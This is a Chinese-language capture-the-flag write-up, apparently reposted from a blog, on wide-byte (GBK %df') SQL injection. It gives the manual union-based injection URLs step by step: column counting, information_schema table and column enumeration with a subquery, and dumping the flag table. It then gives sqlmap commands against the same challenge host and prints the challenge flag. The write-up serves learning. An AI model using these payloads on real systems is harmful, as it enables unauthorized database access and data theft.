1. 程式人生 > >有趣的注入(寬位元組注入)

有趣的注入(寬位元組注入)

ctf:有趣的注入

(一)手注:

url:http://ctf.cdusec.org:8086/sqli.php?id=1
實驗工具:火狐hackbar
x001:
輸入:” ‘ “單引號無反應,再輸入" %df’ "(寬位元組注入,顯示報錯。)
截圖:
在這裡插入圖片描述
在這裡插入圖片描述
x002判斷列數:判斷出來有3列。
http://ctf.cdusec.org:8086/sqli.php?id=1%df' order by 2 -- +

 http://ctf.cdusec.org:8086/sqli.php?id=1%df' order by 4 -- +

x003判斷注入點:

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,3 -- +

在這裡插入圖片描述
x003:查詢table

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

在這裡插入圖片描述
x004:查詢columns。
子查詢:
使用單引號,雙引號等被註釋掉,最後用子查詢查到。culumns

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=(select substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,4))--+

在這裡插入圖片描述
x005:查詢dump

http://ctf.cdusec.org:8086/sqli.php?id=-1%df' union select 1,2,flag from flag--+

在這裡插入圖片描述
x005:
flag:

flag{Just_4_b4by_SQLi}

(二)slqmap跑:
x001:dbs

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=1%df%27" -p"id" --dbs

x002:tables

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=1%df%27" -p"id" -D news --tables

x004:dump

sqlmap -u "http://ctf.cdusec.org:8086/sqli.php?id=1%df%27" -p"id" -D news -T flag --dump